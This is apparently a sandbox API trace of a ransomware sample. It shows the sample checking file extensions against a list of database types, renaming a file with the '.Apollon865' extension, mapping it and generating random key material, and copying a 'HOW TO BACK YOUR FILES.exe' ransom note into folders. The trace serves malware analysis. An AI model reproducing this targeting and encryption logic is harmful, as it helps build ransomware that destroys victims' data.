	[0072.065] lstrcmpiW (lpString1="64.exe", lpString2="db-shm") returned -1
	[0072.065] lstrlenW (lpString="db-wal") returned 6
	[0072.065] lstrcmpiW (lpString1="64.exe", lpString2="db-wal") returned -1
	[0072.065] lstrlenW (lpString="dbc") returned 3
	[0072.065] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1
	[0072.065] lstrlenW (lpString="dbs") returned 3
	[0072.065] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1
	[0072.065] lstrlenW (lpString="dbt") returned 3
	[0072.065] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1
	[0072.065] lstrlenW (lpString="dbv") returned 3
	[0072.065] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1
	[0072.065] lstrlenW (lpString="dbx") returned 3
	[0072.065] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1
	[0072.065] lstrlenW (lpString="dcb") returned 3
	[0072.065] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1
	[0072.065] lstrlenW (lpString="dct") returned 3
	[0072.065] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1
	[0072.065] lstrlenW (lpString="dcx") returned 3
	[0072.065] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1
	[0072.065] lstrlenW (lpString="ddl") returned 3
	[0072.065] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1
	[0072.065] lstrlenW (lpString="dlis") returned 4
	[0072.065] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1
	[0072.065] lstrlenW (lpString="dp1") returned 3
	[0072.066] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1
	[0072.066] lstrlenW (lpString="dqy") returned 3
	[0072.066] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1
	[0072.066] lstrlenW (lpString="dsk") returned 3
	[0072.066] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1
	[0072.066] lstrlenW (lpString="dsn") returned 3
	[0072.066] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1
	[0072.066] lstrlenW (lpString="dtsx") returned 4
	[0072.066] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1
	[0072.066] lstrlenW (lpString="dxl") returned 3
	[0072.066] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1
	[0072.066] lstrlenW (lpString="eco") returned 3
	[0072.066] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1
	[0072.066] lstrlenW (lpString="ecx") returned 3
	[0072.066] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1
	[0072.066] lstrlenW (lpString="edb") returned 3
	[0072.066] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1
	[0072.066] lstrlenW (lpString="epim") returned 4
	[0072.066] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1
	[0072.066] lstrlenW (lpString="fcd") returned 3
	[0072.066] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1
	[0072.066] lstrlenW (lpString="fdb") returned 3
	[0072.066] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1
	[0072.066] lstrlenW (lpString="fic") returned 3
	[0072.066] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1
	[0072.066] lstrlenW (lpString="flexolibrary") returned 12
	[0072.066] lstrcmpiW (lpString1="dist_x64.exe", lpString2="flexolibrary") returned -1
	[0072.066] lstrlenW (lpString="fm5") returned 3
	[0072.066] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1
	[0072.066] lstrlenW (lpString="fmp") returned 3
	[0072.066] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1
	[0072.066] lstrlenW (lpString="fmp12") returned 5
	[0072.066] lstrcmpiW (lpString1="4.exe", lpString2="fmp12") returned -1
	[0072.066] lstrlenW (lpString="fmpsl") returned 5
	[0072.066] lstrcmpiW (lpString1="4.exe", lpString2="fmpsl") returned -1
	[0072.066] lstrlenW (lpString="fol") returned 3
	[0072.066] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1
	[0072.067] lstrlenW (lpString="fp3") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1
	[0072.067] lstrlenW (lpString="fp4") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1
	[0072.067] lstrlenW (lpString="fp5") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1
	[0072.067] lstrlenW (lpString="fp7") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1
	[0072.067] lstrlenW (lpString="fpt") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1
	[0072.067] lstrlenW (lpString="frm") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1
	[0072.067] lstrlenW (lpString="gdb") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0072.067] lstrlenW (lpString="gdb") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0072.067] lstrlenW (lpString="grdb") returned 4
	[0072.067] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1
	[0072.067] lstrlenW (lpString="gwi") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1
	[0072.067] lstrlenW (lpString="hdb") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1
	[0072.067] lstrlenW (lpString="his") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="his") returned -1
	[0072.067] lstrlenW (lpString="ib") returned 2
	[0072.067] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1
	[0072.067] lstrlenW (lpString="idb") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1
	[0072.067] lstrlenW (lpString="ihx") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1
	[0072.067] lstrlenW (lpString="itdb") returned 4
	[0072.067] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1
	[0072.067] lstrlenW (lpString="itw") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1
	[0072.067] lstrlenW (lpString="jet") returned 3
	[0072.067] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1
	[0072.067] lstrlenW (lpString="jtx") returned 3
	[0072.068] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1
	[0072.068] lstrlenW (lpString="kdb") returned 3
	[0072.068] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1
	[0072.068] lstrlenW (lpString="kexi") returned 4
	[0072.068] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1
	[0072.068] lstrlenW (lpString="kexic") returned 5
	[0072.068] lstrcmpiW (lpString1="4.exe", lpString2="kexic") returned -1
	[0072.068] lstrlenW (lpString="kexis") returned 5
	[0072.068] lstrcmpiW (lpString1="4.exe", lpString2="kexis") returned -1
	[0072.068] lstrlenW (lpString="lgc") returned 3
	[0072.068] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1
	[0072.068] lstrlenW (lpString="lwx") returned 3
	[0072.068] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1
	[0072.068] lstrlenW (lpString="maf") returned 3
	[0072.068] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1
	[0072.068] lstrlenW (lpString="maq") returned 3
	[0072.068] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1
	[0072.068] lstrlenW (lpString="mar") returned 3
	[0072.068] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1
	[0072.068] lstrlenW (lpString="marshal") returned 7
	[0072.068] lstrcmpiW (lpString1="x64.exe", lpString2="marshal") returned 1
	[0072.068] lstrlenW (lpString="mas") returned 3
	[0072.068] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1
	[0072.068] lstrlenW (lpString="mav") returned 3
	[0072.068] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1
	[0072.068] lstrlenW (lpString="maw") returned 3
	[0072.068] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1
	[0072.068] lstrlenW (lpString="mdbhtml") returned 7
	[0072.068] lstrcmpiW (lpString1="x64.exe", lpString2="mdbhtml") returned 1
	[0072.068] lstrlenW (lpString="mdn") returned 3
	[0072.068] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1
	[0072.068] lstrlenW (lpString="mdt") returned 3
	[0072.068] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1
	[0072.068] lstrlenW (lpString="mfd") returned 3
	[0072.068] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1
	[0072.068] lstrlenW (lpString="mpd") returned 3
	[0072.068] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1
	[0072.068] lstrlenW (lpString="mrg") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1
	[0072.069] lstrlenW (lpString="mud") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1
	[0072.069] lstrlenW (lpString="mwb") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1
	[0072.069] lstrlenW (lpString="myd") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1
	[0072.069] lstrlenW (lpString="ndf") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1
	[0072.069] lstrlenW (lpString="nnt") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1
	[0072.069] lstrlenW (lpString="nrmlib") returned 6
	[0072.069] lstrcmpiW (lpString1="64.exe", lpString2="nrmlib") returned -1
	[0072.069] lstrlenW (lpString="ns2") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1
	[0072.069] lstrlenW (lpString="ns3") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1
	[0072.069] lstrlenW (lpString="ns4") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1
	[0072.069] lstrlenW (lpString="nsf") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1
	[0072.069] lstrlenW (lpString="nv") returned 2
	[0072.069] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1
	[0072.069] lstrlenW (lpString="nv2") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1
	[0072.069] lstrlenW (lpString="nwdb") returned 4
	[0072.069] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1
	[0072.069] lstrlenW (lpString="nyf") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1
	[0072.069] lstrlenW (lpString="odb") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0072.069] lstrlenW (lpString="odb") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0072.069] lstrlenW (lpString="oqy") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1
	[0072.069] lstrlenW (lpString="ora") returned 3
	[0072.069] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1
	[0072.070] lstrlenW (lpString="orx") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1
	[0072.070] lstrlenW (lpString="owc") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1
	[0072.070] lstrlenW (lpString="p96") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1
	[0072.070] lstrlenW (lpString="p97") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1
	[0072.070] lstrlenW (lpString="pan") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1
	[0072.070] lstrlenW (lpString="pdb") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1
	[0072.070] lstrlenW (lpString="pdm") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1
	[0072.070] lstrlenW (lpString="pnz") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1
	[0072.070] lstrlenW (lpString="qry") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1
	[0072.070] lstrlenW (lpString="qvd") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1
	[0072.070] lstrlenW (lpString="rbf") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1
	[0072.070] lstrlenW (lpString="rctd") returned 4
	[0072.070] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1
	[0072.070] lstrlenW (lpString="rod") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1
	[0072.070] lstrlenW (lpString="rodx") returned 4
	[0072.070] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1
	[0072.070] lstrlenW (lpString="rpd") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1
	[0072.070] lstrlenW (lpString="rsd") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1
	[0072.070] lstrlenW (lpString="sas7bdat") returned 8
	[0072.070] lstrcmpiW (lpString1="_x64.exe", lpString2="sas7bdat") returned -1
	[0072.070] lstrlenW (lpString="sbf") returned 3
	[0072.070] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1
	[0072.070] lstrlenW (lpString="scx") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1
	[0072.071] lstrlenW (lpString="sdb") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1
	[0072.071] lstrlenW (lpString="sdc") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1
	[0072.071] lstrlenW (lpString="sdf") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1
	[0072.071] lstrlenW (lpString="sis") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1
	[0072.071] lstrlenW (lpString="spq") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1
	[0072.071] lstrlenW (lpString="te") returned 2
	[0072.071] lstrcmpiW (lpString1="xe", lpString2="te") returned 1
	[0072.071] lstrlenW (lpString="teacher") returned 7
	[0072.071] lstrcmpiW (lpString1="x64.exe", lpString2="teacher") returned 1
	[0072.071] lstrlenW (lpString="tmd") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1
	[0072.071] lstrlenW (lpString="tps") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1
	[0072.071] lstrlenW (lpString="trc") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0072.071] lstrlenW (lpString="trc") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0072.071] lstrlenW (lpString="trm") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1
	[0072.071] lstrlenW (lpString="udb") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1
	[0072.071] lstrlenW (lpString="udl") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1
	[0072.071] lstrlenW (lpString="usr") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1
	[0072.071] lstrlenW (lpString="v12") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1
	[0072.071] lstrlenW (lpString="vis") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1
	[0072.071] lstrlenW (lpString="vpd") returned 3
	[0072.071] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1
	[0072.071] lstrlenW (lpString="vvv") returned 3
	[0072.072] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1
	[0072.072] lstrlenW (lpString="wdb") returned 3
	[0072.072] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1
	[0072.072] lstrlenW (lpString="wmdb") returned 4
	[0072.072] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1
	[0072.072] lstrlenW (lpString="wrk") returned 3
	[0072.072] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1
	[0072.072] lstrlenW (lpString="xdb") returned 3
	[0072.072] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1
	[0072.072] lstrlenW (lpString="xld") returned 3
	[0072.072] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1
	[0072.072] lstrlenW (lpString="xmlff") returned 5
	[0072.072] lstrcmpiW (lpString1="4.exe", lpString2="xmlff") returned -1
	[0072.072] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.Apollon865") returned 99
	[0072.072] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.apollon865"), dwFlags=0x1) returned 1
	[0072.073] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0072.073] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=463016) returned 1
	[0072.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0072.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0072.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0072.073] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0072.074] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0072.074] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0072.074] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x713b0, lpName=0x0) returned 0x15c
	[0072.076] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x713b0) returned 0x210000
	[0072.103] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0072.104] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0072.104] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0072.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0072.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0072.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0072.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0072.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0072.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0072.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0072.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0072.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0072.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0072.105] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0072.109] CloseHandle (hObject=0x15c) returned 1
	[0072.109] CloseHandle (hObject=0x100) returned 1
	[0072.109] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0072.109] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0072.109] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0072.112] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
	[0072.112] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0072.112] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bf0
	[0072.112] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0072.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0072.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0072.112] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 82
	[0072.112] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0072.112] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.112] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0072.113] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0072.113] GetLastError () returned 0x0
	[0072.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0072.113] ReadFile (in: hFile=0xc0, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0072.113] CloseHandle (hObject=0xc0) returned 1
	[0072.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0072.113] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.113] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5ec850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0072.113] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.113] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.113] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.113] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5ec850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.113] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.113] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.114] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.114] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.114] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f5ec850, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0072.114] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0072.114] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5ec850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0072.114] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.114] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0072.114] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0072.114] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0072.114] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0072.114] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0072.114] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0072.114] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0072.114] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
